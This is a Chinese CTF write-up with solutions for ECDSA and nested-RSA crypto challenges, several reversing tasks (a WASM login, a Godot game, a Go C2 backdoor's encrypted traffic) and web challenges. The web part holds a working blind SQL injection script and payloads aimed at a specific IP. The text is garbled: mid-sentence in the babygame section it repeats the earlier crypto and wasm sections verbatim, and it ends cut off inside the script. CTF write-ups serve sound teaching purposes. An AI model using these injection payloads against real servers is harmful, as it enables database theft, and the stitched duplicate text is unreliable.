密码学

ECDSA

题目:

#!/usr/bin/env python3
from ecdsa import SigningKey, NIST521p
from hashlib import sha512
from Crypto.Util.number import long_to_bytes
import random
import binascii
import sys

digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
curve_order = NIST521p.order
priv_int = digest_int % curve_order
priv_bytes = long_to_bytes(priv_int, 66)
sk = SigningKey.from_string(priv_bytes, curve=NIST521p)
vk = sk.verifying_key

f_pub = open("public.pem", "wb")
f_pub.write(vk.to_pem())
f_pub.close()

def nonce(i):
    seed = sha512(b"bias" + bytes([i])).digest()
    k = int.from_bytes(seed, "big")
    return k

msgs = [b"message-" + bytes([i]) for i in range(60)]
sigs = []

for i, msg in enumerate(msgs):
    k = nonce(i)
    sig = sk.sign(msg, k=k)
    sigs.append((binascii.hexlify(msg).decode(), binascii.hexlify(sig).decode()))

f_sig = open("signatures.txt", "w")
for m, s in sigs:
    f_sig.write("%s:%s\n" % (m, s))
f_sig.close()

题目的核心逻辑:

  • 私钥:d = sha512(b"Welcome to this challenge!").int % n
  • nonce:k(i) = sha512(b"bias" + bytes([i])).int
  • 对 60 条消息 b"message-" + bytes([i]) 依次签名,并写到 signatures.txt

已知 k 反推私钥 d,ECDSA 签名满足(模 n,n 是曲线阶):

$ s=k^{-1}(e+d*r)\ (mod\ n) $

移项得:

$ d = (s*k-e)*r^{-1}\ (mod\ n) $

完整解题脚本:

from hashlib import sha1, sha512
from ecdsa import NIST521p

n = NIST521p.order
L = 66

line = next(ln for ln in open("./signatures.txt", "r", encoding="utf-8") if ln.strip())
mhex, shex = line.strip().split(":")
msg = bytes.fromhex(mhex)
sig = bytes.fromhex(shex)

i = msg[-1]
k = int.from_bytes(sha512(b"bias" + bytes([i])).digest(), "big") % n
r = int.from_bytes(sig[:L], "big")
s = int.from_bytes(sig[L:], "big")
e = int.from_bytes(sha1(msg).digest(), "big")

d = ((s * k - e) * pow(r, -1, n)) % n
print(hex(d))

# 11786190273906782566706300546504742629011900435269701041731697414027484824601255112180676531145294320443777235338538357924760601782873554458995940394745073

EzFlag

拖进IDA,找到main函数,逻辑很清晰:

输入密码后循环调用32次f(v11)生成flag字符并打印,在第7、12、17、22位后面插入-符号。

分析f()函数:

本质是斐波那契数列取模16,并且存在周期性,因此:f(n) == f(n % 24)。

可以通过该周期性的特点,编写Python脚本降低程序运行时间复杂度得到Flag。

完整解题脚本:

K = "012ab9c3478d56ef"

def f(n):
    v5, v4 = 0, 1
    for _ in range(n % 24):
        v5, v4 = v4, (v5 + v4) & 0xF
    return K[v5]

v11, flag = 1, ""
for i in range(32):
    flag += f(v11) + ("-" if i in [7,12,17,22] else "")
    v11 = (v11 * 8 + i + 64) & 0xFFFFFFFFFFFFFFFF

print(flag)

# 10632674-1d219-09f29-14769-f60219a24

RSA_NestingDoll

题目:

from Crypto.Util.number import *
from tqdm import tqdm
import os

flag=open("./flag.txt","rb").read()
flag=bytes_to_long(flag+os.urandom(2048//8-len(flag)))
e=65537

def get_smooth_prime(bits, smoothness, max_prime=None):
    assert bits - 2 * smoothness > 0
    p = 2
    if max_prime!=None:
        assert max_prime>smoothness
        p*=max_prime
        
    while p.bit_length() < bits - 2 * smoothness:
        factor = getPrime(smoothness)
        p *= factor

    bitcnt = (bits - p.bit_length()) // 2
    while True:
        prime1 = getPrime(bitcnt)
        prime2 = getPrime(bitcnt)
        tmpp = p * prime1 * prime2
        if tmpp.bit_length() < bits:
            bitcnt += 1
            continue
        if tmpp.bit_length() > bits:
            bitcnt -= 1
            continue
        if isPrime(tmpp + 1):
            p = tmpp + 1
            break
    return p

p1=getPrime(512)
q1=getPrime(512)
r1=getPrime(512)
s1=getPrime(512)
n1=p1*q1*r1*s1
assert n1>flag

p=get_smooth_prime(1024,20,p1)
q=get_smooth_prime(1024,20,q1)
r=get_smooth_prime(1024,20,r1)
s=get_smooth_prime(1024,20,s1)
n=p*q*r*s

print(f"[+] inner RSA modulus = {n1}")
print(f"[+] outer RSA modulus = {n}")
print(f"[+] Ciphertext = {pow(flag,e,n1)}")

题目是两层结构:

  • 内层 RSA:取四个 512-bit 素数 p1, q1, r1, s1,令 n1 = p1*q1*r1*s1。给出密文 c = m^e mod n1(e=65537),明文 m 为 flag || random_padding,填充到 2048 bit,并保证 n1 > m。
  • 外层模数:再造四个 1024-bit 素数 p,q,r,s 组成 n = p*q*r*s。关键在于它们不是随机素数,而是用 get_smooth_prime(1024, 20, max_prime=p1) 这种方式生成:强行让 p-1 里包含对应的内层大素数(比如 p1),剩下的部分由很多 20-bit 小素数组成(很平滑),最后取 p = (这些因子乘积) + 1 并要求为素数。

外层的 p-1 含已知倍数和平滑部分,对外层任意一个素数(以 p 为例),可以写成:$ p - 1 = p_1 * t $。

其中 t 是由大量 20-bit 素数组成的平滑数(取 B = 2^20,则 t 的素因子都 ≤ B)。

虽然我们不知道 p1 的具体值,但我们知道 p1 | n1,因为 n1 = p1*q1*r1*s1 是公开的。

Pollard的常用结论:若 p | N 且 (p-1) | E,则 gcd(a^E - 1, N) 往往能给出 N 的非平凡因子。

这里 p-1 不是完全平滑(含 512-bit 的 p1),但我们可以把指数选为:$ E = n_1 * M $。

其中 M 取为 $ B=2^{20} $ 范围内所有素数幂的乘积(也就是把所有 ≤B 的素数因子都“覆盖一遍”)。

对对应的外层素数 p:

  • p1 | n1
  • t | M(因为 t 只由 ≤B 的小素数组成)

所以 (p-1) = p1*t | (n1*M) = E,从而对若干个底数 a(通常 2 不行就换 3/5/7),计算:g = gcd(a^E - 1, n) 。

即可得到外层 n 的非平凡因子,递归下去就能把 n 分解成 p,q,r,s。

由外层素因子直接还原内层四个素数,生成时保证了内层素数是外层 p-1 的因子,又因为内层素数也整除 n1n_1,因此:

gcd(p−1,n1)=p1gcd(q−1,n1)=q1gcd(r−1,n1)=r1gcd(s−1,n1)=s1gcd(p - 1, n_1) = p_1\\ gcd(q - 1, n_1) = q_1\\ gcd(r - 1, n_1) = r_1\\ gcd(s - 1, n_1) = s_1

无需对 n1 做通用分解,直接把内层四个 512-bit 素数拿到手。

解密内层多素数 RSA,拿到 p1,q1,r1,s1 后,计算:

lambda=lcm(p1−1,q1−1,r1−1,s1−1)d=inverse(e,lambda)m=cdmodn1lambda = lcm(p_1-1, q_1-1, r_1-1, s_1-1) \\ d = inverse(e, lambda) \\ m = c^d mod n_1 \\

最后在解出的 256 字节明文里搜索 flag{(或其它常见前缀)并截到 },得到 flag。

完整解题脚本:

from math import gcd
from Crypto.Util.number import inverse, isPrime, long_to_bytes

n1 = 16141229822582999941795528434053604024130834376743380417543848154510567941426284503974843508505293632858944676904777719167211264225017879544879766461905421764911145115313698529148118556481569662427943129906246669392285465962009760415398277861235401144473728421924300182818519451863668543279964773812681294700932779276119980976088388578080667457572761731749115242478798767995746571783659904107470270861418250270529189065684265364754871076595202944616294213418165898411332609375456093386942710433731450591144173543437880652898520275020008888364820928962186107055633582315448537508963579549702813766809204496344017389879
n = 484831124108275939341366810506193994531550055695853253298115538101629337644848848341479419438032232339003236906071864005366050185096955712484824249228197577223248353640366078747360090084446361275032026781246854700074896711976487694783856878403247312312487197243272330518861346981470353394149785086635163868023866817552387681890963052199983782800993485245670437818180617561464964987316161927118605512017355921555464359512280368738197370963036482455976503266489446554327046948670215814974461717020804892983665655107351050779151227099827044949961517305345415735355361979690945791766389892262659146088374064423340675969505766640604405056526597458482705651442368165084488267428304515239897907407899916127394598273176618290300112450670040922567688605072749116061905175316975711341960774150260004939250949738836358264952590189482518415728072191137713935386026127881564386427069721229262845412925923228235712893710368875996153516581760868562584742909664286792076869106489090142359608727406720798822550560161176676501888507397207863998129261472631954482761264406483807145805232317147769145985955267206369675711834485845321043623959730914679051434102698588945009836642922614296598336035078421463808774940679339890140690147375340294139027290793
c = 657984921229942454933933403447729006306657607710326864301226455143743298424203173231485254106370042482797921667656700155904329772383820736458855765136793243316671212869426397954684784861721375098512569633961083815312918123032774700110069081262242921985864796328969423527821139281310369981972743866271594590344539579191695406770264993187783060116166611986577690957583312376226071223036478908520539670631359415937784254986105845218988574365136837803183282535335170744088822352494742132919629693849729766426397683869482842748401000853783134170305075124230522253670782186531697976487673160305610021244587265868919495629
e = 65537

def primes_upto(B):
    s = bytearray(b"\x01") * (B + 1)
    s[0:2] = b"\x00\x00"
    r = int(B**0.5)
    for p in range(2, r + 1):
        if s[p]:
            s[p * p : B + 1 : p] = b"\x00" * (((B - p * p) // p) + 1)
    return [i for i in range(2, B + 1) if s[i]]

def lcm(a, b):
    return a // gcd(a, b) * b

def p1_stage1(N, A, B, base):
    x = pow(base, A, N)
    for p in primes_upto(B):
        pe = p
        while pe * p <= B:
            pe *= p
        x = pow(x, pe, N)
        g = gcd(x - 1, N)
        if 1 < g < N:
            return g
    return None

def factor(N, A, B=1 << 20):
    if N == 1:
        return []
    if isPrime(N):
        return [N]
    for base in (2, 3, 5, 7, 11, 13, 17, 19):
        g = p1_stage1(N, A, B, base)
        if g:
            return factor(g, A, B) + factor(N // g, A, B)
    raise SystemExit("fail")

outer = factor(n, n1)
inner = [gcd(p - 1, n1) for p in outer]
lam = 1
for p in inner:
    lam = lcm(lam, p - 1)
d = inverse(e, lam)
pt = long_to_bytes(pow(c, d, n1), 256)
for mk in (b"flag{", b"FLAG{", b"ctf{", b"CISCN{", b"ciscn{"):
    i = pt.find(mk)
    if i != -1:
        j = pt.find(b"}", i)
        if j != -1:
            print(pt[i : j + 1].decode())
            break

# flag = flag{fak3_r5a_0f_euler_ph1_of_RSA_040a2d35}

逆向工程

wasm-login

找到在前端index.html中模拟的登录校验逻辑:

需要找到满足要求的data,在末尾注释部分找到用户名和密码:

data由js调用生成,在release.js中找到登录相关代码authenticate()函数:

该函数由release.wasm导出,我们需要传入用户名和密码进行调用。

使用wasm2wat工具进行反编译,将其反编译为.wat:

bin/wasm2wat ~/Desktop/release.wasm -o ~/Desktop/release.wat

发现它导入了JS中的Date.now()函数:

结合题目提示,可以猜测,authenticate()函数在鉴权的时候,结合用户名、密码和时间戳参数进行签名计算。

我们修改Date.now()函数为我们自定义函数,对时间戳进行重放爆破,然后将authenticate()函数作为黑盒调用,寻找目标签名值。

完整脚本:

import { createHash } from "node:crypto";
import { authenticate } from "./build/release.js";

const P = "ccaf33e3512e31f3";
const u = "admin", p = "admin";
const T = (x) => (/^\d+$/.test(x) ? +x : new Date(x).getTime());

const s = T(process.argv[2] ?? "2025-12-22T00:20:00+08:00");
const e = T(process.argv[3] ?? "2025-12-22T01:10:00+08:00");

for (let t = s; t <= e; t++) {
  Date.now = () => t;
  const j = JSON.stringify(JSON.parse(authenticate(u, p)));
  const h = createHash("md5").update(j).digest("hex");
  if (h.startsWith(P)) { console.log(h); break; }
}

运行脚本爆破:

node exp.js

得到目标签名值:ccaf33e3512e31f36228f0b97ccbc8f1。

babygame

拿到手是个exe,运行了一下发现是个小游戏,收集金币然后触发什么东西。程序过大,IDA直接分析比较困难。

扔进010 Editor看了下,搜到了GDPC和GDSC这些magic,查了下发现是Godot引擎的游戏。

PCK是Godot打包资源的格式,GDSC是编译后的GDScript脚本。直接在exe里搜GDSC,找到了8个脚本,其中flag.gdc看起来很可疑。

GDSC结构:

GDSC (4 bytes) - magic
version (4 bytes) - 0x65 = 101
orig_len (4 bytes) - 解压后大小
[zstd data] - ZSTD压缩的字节码

后面跟着的是ZSTD压缩的数据,解压完得到GDScript字节码:

import zstandard as zstd
dctx = zstd.ZstdDecompressor()
decompressed = dctx.decompress(compressed_data)

GDSscript格式:

header (16 bytes):
  - identifier_count (4 bytes)
  - constant_count (4 bytes)  
  - line_count (4 bytes)
  - token_length (4 bytes)
identifiers:
  每个: length (4 bytes) + chars (每个字符占4 bytes,需要XOR)
constants:
  count (4 bytes)
  每个: type (4 bytes) + data

根据一些常见标识符,推出XOR key是0xB6,对字节码进行异或0xB6B6B6B6。

在得到的常量中找到两个关键字符串:

FanAglFanAglOoO!
d458af702a680ae4d089ce32fc39945d

根据字节码的大概逻辑,使用AES对其进行解密,发现结果不对。

且密钥是通过Flag.get_key()获取的,查看game_manager密码学

ECDSA

题目:

#!/usr/bin/env python3
from ecdsa import SigningKey, NIST521p
from hashlib import sha512
from Crypto.Util.number import long_to_bytes
import random
import binascii
import sys

digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
curve_order = NIST521p.order
priv_int = digest_int % curve_order
priv_bytes = long_to_bytes(priv_int, 66)
sk = SigningKey.from_string(priv_bytes, curve=NIST521p)
vk = sk.verifying_key

f_pub = open("public.pem", "wb")
f_pub.write(vk.to_pem())
f_pub.close()

def nonce(i):
    seed = sha512(b"bias" + bytes([i])).digest()
    k = int.from_bytes(seed, "big")
    return k

msgs = [b"message-" + bytes([i]) for i in range(60)]
sigs = []

for i, msg in enumerate(msgs):
    k = nonce(i)
    sig = sk.sign(msg, k=k)
    sigs.append((binascii.hexlify(msg).decode(), binascii.hexlify(sig).decode()))

f_sig = open("signatures.txt", "w")
for m, s in sigs:
    f_sig.write("%s:%s\n" % (m, s))
f_sig.close()

题目的核心逻辑:

  • 私钥:d = sha512(b"Welcome to this challenge!").int % n
  • nonce:k(i) = sha512(b"bias" + bytes([i])).int
  • 对 60 条消息 b"message-" + bytes([i]) 依次签名,并写到 signatures.txt

已知 k 反推私钥 d,ECDSA 签名满足(模 n,n 是曲线阶):

$ s=k^{-1}(e+d*r)\ (mod\ n) $

移项得:

$ d = (s*k-e)*r^{-1}\ (mod\ n) $

完整解题脚本:

from hashlib import sha1, sha512
from ecdsa import NIST521p

n = NIST521p.order
L = 66

line = next(ln for ln in open("./signatures.txt", "r", encoding="utf-8") if ln.strip())
mhex, shex = line.strip().split(":")
msg = bytes.fromhex(mhex)
sig = bytes.fromhex(shex)

i = msg[-1]
k = int.from_bytes(sha512(b"bias" + bytes([i])).digest(), "big") % n
r = int.from_bytes(sig[:L], "big")
s = int.from_bytes(sig[L:], "big")
e = int.from_bytes(sha1(msg).digest(), "big")

d = ((s * k - e) * pow(r, -1, n)) % n
print(hex(d))

# 11786190273906782566706300546504742629011900435269701041731697414027484824601255112180676531145294320443777235338538357924760601782873554458995940394745073

EzFlag

拖进IDA,找到main函数,逻辑很清晰:

输入密码后循环调用32次f(v11)生成flag字符并打印,在第7、12、17、22位后面插入-符号。

分析f()函数:

本质是斐波那契数列取模16,并且存在周期性,因此:f(n) == f(n % 24)。

可以通过该周期性的特点,编写Python脚本降低程序运行时间复杂度得到Flag。

完整解题脚本:

K = "012ab9c3478d56ef"

def f(n):
    v5, v4 = 0, 1
    for _ in range(n % 24):
        v5, v4 = v4, (v5 + v4) & 0xF
    return K[v5]

v11, flag = 1, ""
for i in range(32):
    flag += f(v11) + ("-" if i in [7,12,17,22] else "")
    v11 = (v11 * 8 + i + 64) & 0xFFFFFFFFFFFFFFFF

print(flag)

# 10632674-1d219-09f29-14769-f60219a24

RSA_NestingDoll

题目:

from Crypto.Util.number import *
from tqdm import tqdm
import os

flag=open("./flag.txt","rb").read()
flag=bytes_to_long(flag+os.urandom(2048//8-len(flag)))
e=65537

def get_smooth_prime(bits, smoothness, max_prime=None):
    assert bits - 2 * smoothness > 0
    p = 2
    if max_prime!=None:
        assert max_prime>smoothness
        p*=max_prime
        
    while p.bit_length() < bits - 2 * smoothness:
        factor = getPrime(smoothness)
        p *= factor

    bitcnt = (bits - p.bit_length()) // 2
    while True:
        prime1 = getPrime(bitcnt)
        prime2 = getPrime(bitcnt)
        tmpp = p * prime1 * prime2
        if tmpp.bit_length() < bits:
            bitcnt += 1
            continue
        if tmpp.bit_length() > bits:
            bitcnt -= 1
            continue
        if isPrime(tmpp + 1):
            p = tmpp + 1
            break
    return p

p1=getPrime(512)
q1=getPrime(512)
r1=getPrime(512)
s1=getPrime(512)
n1=p1*q1*r1*s1
assert n1>flag

p=get_smooth_prime(1024,20,p1)
q=get_smooth_prime(1024,20,q1)
r=get_smooth_prime(1024,20,r1)
s=get_smooth_prime(1024,20,s1)
n=p*q*r*s

print(f"[+] inner RSA modulus = {n1}")
print(f"[+] outer RSA modulus = {n}")
print(f"[+] Ciphertext = {pow(flag,e,n1)}")

题目是两层结构:

  • 内层 RSA:取四个 512-bit 素数 p1, q1, r1, s1,令 n1 = p1*q1*r1*s1。给出密文 c = m^e mod n1(e=65537),明文 m 为 flag || random_padding,填充到 2048 bit,并保证 n1 > m。
  • 外层模数:再造四个 1024-bit 素数 p,q,r,s 组成 n = p*q*r*s。关键在于它们不是随机素数,而是用 get_smooth_prime(1024, 20, max_prime=p1) 这种方式生成:强行让 p-1 里包含对应的内层大素数(比如 p1),剩下的部分由很多 20-bit 小素数组成(很平滑),最后取 p = (这些因子乘积) + 1 并要求为素数。

外层的 p-1 含已知倍数和平滑部分,对外层任意一个素数(以 p 为例),可以写成:$ p - 1 = p_1 * t $。

其中 t 是由大量 20-bit 素数组成的平滑数(取 B = 2^20,则 t 的素因子都 ≤ B)。

虽然我们不知道 p1 的具体值,但我们知道 p1 | n1,因为 n1 = p1*q1*r1*s1 是公开的。

Pollard的常用结论:若 p | N 且 (p-1) | E,则 gcd(a^E - 1, N) 往往能给出 N 的非平凡因子。

这里 p-1 不是完全平滑(含 512-bit 的 p1),但我们可以把指数选为:$ E = n_1 * M $。

其中 M 取为 $ B=2^{20} $ 范围内所有素数幂的乘积(也就是把所有 ≤B 的素数因子都“覆盖一遍”)。

对对应的外层素数 p:

  • p1 | n1
  • t | M(因为 t 只由 ≤B 的小素数组成)

所以 (p-1) = p1*t | (n1*M) = E,从而对若干个底数 a(通常 2 不行就换 3/5/7),计算:g = gcd(a^E - 1, n) 。

即可得到外层 n 的非平凡因子,递归下去就能把 n 分解成 p,q,r,s。

由外层素因子直接还原内层四个素数,生成时保证了内层素数是外层 p-1 的因子,又因为内层素数也整除 n1n_1,因此:

gcd(p−1,n1)=p1gcd(q−1,n1)=q1gcd(r−1,n1)=r1gcd(s−1,n1)=s1gcd(p - 1, n_1) = p_1\\ gcd(q - 1, n_1) = q_1\\ gcd(r - 1, n_1) = r_1\\ gcd(s - 1, n_1) = s_1

无需对 n1 做通用分解,直接把内层四个 512-bit 素数拿到手。

解密内层多素数 RSA,拿到 p1,q1,r1,s1 后,计算:

lambda=lcm(p1−1,q1−1,r1−1,s1−1)d=inverse(e,lambda)m=cdmodn1lambda = lcm(p_1-1, q_1-1, r_1-1, s_1-1) \\ d = inverse(e, lambda) \\ m = c^d mod n_1 \\

最后在解出的 256 字节明文里搜索 flag{(或其它常见前缀)并截到 },得到 flag。

完整解题脚本:

from math import gcd
from Crypto.Util.number import inverse, isPrime, long_to_bytes

n1 = 16141229822582999941795528434053604024130834376743380417543848154510567941426284503974843508505293632858944676904777719167211264225017879544879766461905421764911145115313698529148118556481569662427943129906246669392285465962009760415398277861235401144473728421924300182818519451863668543279964773812681294700932779276119980976088388578080667457572761731749115242478798767995746571783659904107470270861418250270529189065684265364754871076595202944616294213418165898411332609375456093386942710433731450591144173543437880652898520275020008888364820928962186107055633582315448537508963579549702813766809204496344017389879
n = 484831124108275939341366810506193994531550055695853253298115538101629337644848848341479419438032232339003236906071864005366050185096955712484824249228197577223248353640366078747360090084446361275032026781246854700074896711976487694783856878403247312312487197243272330518861346981470353394149785086635163868023866817552387681890963052199983782800993485245670437818180617561464964987316161927118605512017355921555464359512280368738197370963036482455976503266489446554327046948670215814974461717020804892983665655107351050779151227099827044949961517305345415735355361979690945791766389892262659146088374064423340675969505766640604405056526597458482705651442368165084488267428304515239897907407899916127394598273176618290300112450670040922567688605072749116061905175316975711341960774150260004939250949738836358264952590189482518415728072191137713935386026127881564386427069721229262845412925923228235712893710368875996153516581760868562584742909664286792076869106489090142359608727406720798822550560161176676501888507397207863998129261472631954482761264406483807145805232317147769145985955267206369675711834485845321043623959730914679051434102698588945009836642922614296598336035078421463808774940679339890140690147375340294139027290793
c = 657984921229942454933933403447729006306657607710326864301226455143743298424203173231485254106370042482797921667656700155904329772383820736458855765136793243316671212869426397954684784861721375098512569633961083815312918123032774700110069081262242921985864796328969423527821139281310369981972743866271594590344539579191695406770264993187783060116166611986577690957583312376226071223036478908520539670631359415937784254986105845218988574365136837803183282535335170744088822352494742132919629693849729766426397683869482842748401000853783134170305075124230522253670782186531697976487673160305610021244587265868919495629
e = 65537

def primes_upto(B):
    s = bytearray(b"\x01") * (B + 1)
    s[0:2] = b"\x00\x00"
    r = int(B**0.5)
    for p in range(2, r + 1):
        if s[p]:
            s[p * p : B + 1 : p] = b"\x00" * (((B - p * p) // p) + 1)
    return [i for i in range(2, B + 1) if s[i]]

def lcm(a, b):
    return a // gcd(a, b) * b

def p1_stage1(N, A, B, base):
    x = pow(base, A, N)
    for p in primes_upto(B):
        pe = p
        while pe * p <= B:
            pe *= p
        x = pow(x, pe, N)
        g = gcd(x - 1, N)
        if 1 < g < N:
            return g
    return None

def factor(N, A, B=1 << 20):
    if N == 1:
        return []
    if isPrime(N):
        return [N]
    for base in (2, 3, 5, 7, 11, 13, 17, 19):
        g = p1_stage1(N, A, B, base)
        if g:
            return factor(g, A, B) + factor(N // g, A, B)
    raise SystemExit("fail")

outer = factor(n, n1)
inner = [gcd(p - 1, n1) for p in outer]
lam = 1
for p in inner:
    lam = lcm(lam, p - 1)
d = inverse(e, lam)
pt = long_to_bytes(pow(c, d, n1), 256)
for mk in (b"flag{", b"FLAG{", b"ctf{", b"CISCN{", b"ciscn{"):
    i = pt.find(mk)
    if i != -1:
        j = pt.find(b"}", i)
        if j != -1:
            print(pt[i : j + 1].decode())
            break

# flag = flag{fak3_r5a_0f_euler_ph1_of_RSA_040a2d35}

逆向工程

wasm-login

找到在前端index.html中模拟的登录校验逻辑:

需要找到满足要求的data,在末尾注释部分找到用户名和密码:

data由js调用生成,在release.js中找到登录相关代码authenticate()函数:

该函数由release.wasm导出,我们需要传入用户名和密码进行调用。

使用wasm2wat工具进行反编译,将其反编译为.wat:

bin/wasm2wat ~/Desktop/release.wasm -o ~/Desktop/release.wat

发现它导入了JS中的Date.now()函数:

结合题目提示,可以猜测,authenticate()函数在鉴权的时候,结合用户名、密码和时间戳参数进行签名计算。

我们修改Date.now()函数为我们自定义函数,对时间戳进行重放爆破,然后将authenticate()函数作为黑盒调用,寻找目标签名值。

完整脚本:

import { createHash } from "node:crypto";
import { authenticate } from "./build/release.js";

const P = "ccaf33e3512e31f3";
const u = "admin", p = "admin";
const T = (x) => (/^\d+$/.test(x) ? +x : new Date(x).getTime());

const s = T(process.argv[2] ?? "2025-12-22T00:20:00+08:00");
const e = T(process.argv[3] ?? "2025-12-22T01:10:00+08:00");

for (let t = s; t <= e; t++) {
  Date.now = () => t;
  const j = JSON.stringify(JSON.parse(authenticate(u, p)));
  const h = createHash("md5").update(j).digest("hex");
  if (h.startsWith(P)) { console.log(h); break; }
}

运行脚本爆破:

node exp.js

得到目标签名值:ccaf33e3512e31f36228f0b97ccbc8f1。

babygame

拿到手是个exe,运行了一下发现是个小游戏,收集金币然后触发什么东西。程序过大,IDA直接分析比较困难。

扔进010 Editor看了下,搜到了GDPC和GDSC这些magic,查了下发现是Godot引擎的游戏。

PCK是Godot打包资源的格式,GDSC是编译后的GDScript脚本。直接在exe里搜GDSC,找到了8个脚本,其中flag.gdc看起来很可疑。

GDSC结构:

GDSC (4 bytes) - magic
version (4 bytes) - 0x65 = 101
orig_len (4 bytes) - 解压后大小
[zstd data] - ZSTD压缩的字节码

后面跟着的是ZSTD压缩的数据,解压完得到GDScript字节码:

import zstandard as zstd
dctx = zstd.ZstdDecompressor()
decompressed = dctx.decompress(compressed_data)

GDSscript格式:

header (16 bytes):
  - identifier_count (4 bytes)
  - constant_count (4 bytes)  
  - line_count (4 bytes)
  - token_length (4 bytes)
identifiers:
  每个: length (4 bytes) + chars (每个字符占4 bytes,需要XOR)
constants:
  count (4 bytes)
  每个: type (4 bytes) + data

根据一些常见标识符,推出XOR key是0xB6,对字节码进行异或0xB6B6B6B6。

在得到的常量中找到两个关键字符串:

FanAglFanAglOoO!
d458af702a680ae4d089ce32fc39945d

根据字节码的大概逻辑,使用AES对其进行解密,发现结果不对。

且密钥是通过Flag.get_key()获取的,查看game_manager字节码,发现大概逻辑:

func add_point():
    Flag.key = Flag.key.replace("A", "B")

因此,将密钥中的A全部替换为B,然后使用AES解密。

完整解题脚本:

from Crypto.Cipher import AES

key = b"FanBglFanBglOoO!"
ct = bytes.fromhex("d458af702a680ae4d089ce32fc39945d")
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
print(pt)

# b'wOW~youAregrEaT!'

Eternum

拿到手三个文件:kworker、tcp.pcap、run.sh。

其中,run.sh的内容:

kworker 192.168.8.160:13337

一眼C2后门 + 流量包,目标应该是解密通信拿flag。

Wireshark打开pcap,发现TCP流量全是加密的,但有个明显特征:所有包都以 ET3RNUMX 开头。

协议的结构很容易分析出来:8字节 magic: ET3RNUMX + 4字节 length + 加密数据

IDA打开kworker,Go程序,符号被混淆了但字符串还在:

gSNFIZMf6ul.(*C9WNcDlbvKJZ).Encrypt
gSNFIZMf6ul.(*C9WNcDlbvKJZ).Decrypt
crypto/cipher: incorrect GCM nonce size

根据字符串可以确定是AES-GCM加密算法。

在字符串表中找到密钥:xfqGcVjrOWp5tUGCPFQq448nPDjILTe7。

对密文进行BASE32解码,然后解密即可。

完整解题脚本:

from scapy.all import rdpcap, TCP, Raw
from Crypto.Cipher import AES
import base64, re

KEY = b'xfqGcVjrOWp5tUGCPFQq448nPDjILTe7'

for pkt in rdpcap('tcp.pcap'):
    if TCP in pkt and Raw in pkt:
        raw = bytes(pkt[Raw].load)
        if raw[:8] == b'ET3RNUMX':
            enc = raw[12:]
            nonce, ct, tag = enc[:12], enc[12:-16], enc[-16:]
            pt = AES.new(KEY, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ct, tag)
            m = re.search(rb'MZWGCZ33[A-Z2-7]+=*', pt)
            if m:
                print(base64.b32decode(m.group()).decode())
                break
                
# flag{b7c58700-2b01-4dd4-8526-a4a47a65a1a9}

Web安全

redjs

发现网站是Next.js框架,根据最近的CVE漏洞,直接在Github寻找一键利用工具:

Ai-waf

这题sql注入绕过利用的是Mysql8.0过滤select的新特性绕过

参考如下两篇文章:

https://threezh1.com/2020/12/06/Mysql8%E6%96%B0%E7%89%B9%E6%80%A7%E7%BB%95%E8%BF%87SELECT%E8%BF%87%E6%BB%A4/

https://www.freebuf.com/articles/web/344810.html

通过exp函数进行布尔值判断进行注入

{"query":"-1' || if((TABLE information_schema.tables LIMIT 1)>('def','mysql','columns_pra',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),exp(710),1)#"}

写出如下脚本

import json
import requests
import time

# 配置
url = 'http://182.92.64.244:32845/search'

def post_text(payload):
    """发送payload并返回响应文本"""
    header = {"Content-Type": "application/json"}
    data = json.dumps({"query": payload})
    try:
        resp = requests.post(url=url, data=data, headers=header, timeout=10)
        return resp.text
    except Exception as e:
        print(f"请求错误: {e}")
        return "error"

def check_condition(payload):
    """
    检查条件是否为真
    返回: True (条件为真), False (条件为假), None (需要重试)
    """
    result = post_text(payload)
    
    if "error" in result.lower() or "频繁" in result:
        # 频率限制,等待后重试
        return None
    elif "Nexa" in result or "success" in result:
        # 有结果返回,条件为假 (因为用的是 > 比较)
        return False
    else:
        # 无结果,条件为真
        return True

def get_flag_char(position, current_value):
    """获取flag的第position个字符"""
    low = 32
    high = 126
    
    while low < high:
        mid = (low + high) // 2
        test_value = current_value + chr(mid)
        
        # 无列名注入:比较整个元组
        # 如果 ('test_value') > (table where_is_my_flagggggg limit 0,1),条件为真
        payload = f"0' || if(('{test_value}')>(table where_is_my_flagggggg limit 0,1),exp(710),1) || '1'='1"
        
        # 发送请求
        result = None
        retry_count = 0
        while result is None and retry_count < 5:
            result = check_condition(payload)
            if result is None:
                retry_count += 1
                print(f"    [!] 频率限制,等待重试 ({retry_count}/5)...")
                time.sleep(2)
        
        if result is None:
            print(f"    [!] 重试次数过多,跳过")
            return None
        
        if result:  # 条件为真: test_value > flag_value
            # 说明 flag 的字符 < mid
            high = mid
            print(f"    [{position}] '{chr(mid)}' ({mid}) -> flag < test, high={high}")
        else:  # 条件为假: test_value <= flag_value
            # 说明 flag 的字符 >= mid
            low = mid + 1
            print(f"    [{position}] '{chr(mid)}' ({mid}) -> flag >= test, low={low}")
        
        time.sleep(0.3)
    
    # 找到的字符
    found_char = chr(low - 1) if low > 32 else None
    return found_char

def get_flag():
    """获取完整的flag"""
    print("=" * 60)
    print("[*] 开始提取 flag")
    print("[*] 表名: where_is_my_flagggggg")
    print("=" * 60)
    
    flag = ""
    
    for pos in range(1, 100):  # 假设flag最长100字符
        print(f"\n[*] 获取第 {pos} 个字符...")
        
        char = get_flag_char(pos, flag)
        
        if char is None or ord(char) <= 32:
            print(f"\n[*] 字符提取结束")
            break
        
        flag += char
        print(f"\n[+] 当前 flag: {flag}")
        
        # 如果遇到 } 可能是flag结束
        if char == '}':
            print("\n[*] 检测到 '}', flag可能已完整")
            break
    
    return flag

def get_flag_v2():
    """
    使用另一种比较方式获取flag
    比较逻辑: 如果 flag > test_value,返回error
    """
    print("=" * 60)
    print("[*] 开始提取 flag (方法2)")
    print("[*] 表名: where_is_my_flagggggg")
    print("=" * 60)
    
    flag = ""
    
    for pos in range(1, 100):
        print(f"\n[*] 获取第 {pos} 个字符...")
        
        low = 32
        high = 127
        
        while low < high:
            mid = (low + high) // 2
            test_value = flag + chr(mid)
            
            # 使用 < 比较: 如果 (table) < (test_value),触发exp(710)
            payload = f"0' || if((table where_is_my_flagggggg limit 0,1)<('{test_value}'),exp(710),1) || '1'='1"
            
            result = post_text(payload)
            time.sleep(0.4)
            
            if "error" in result.lower() and "频繁" not in result:
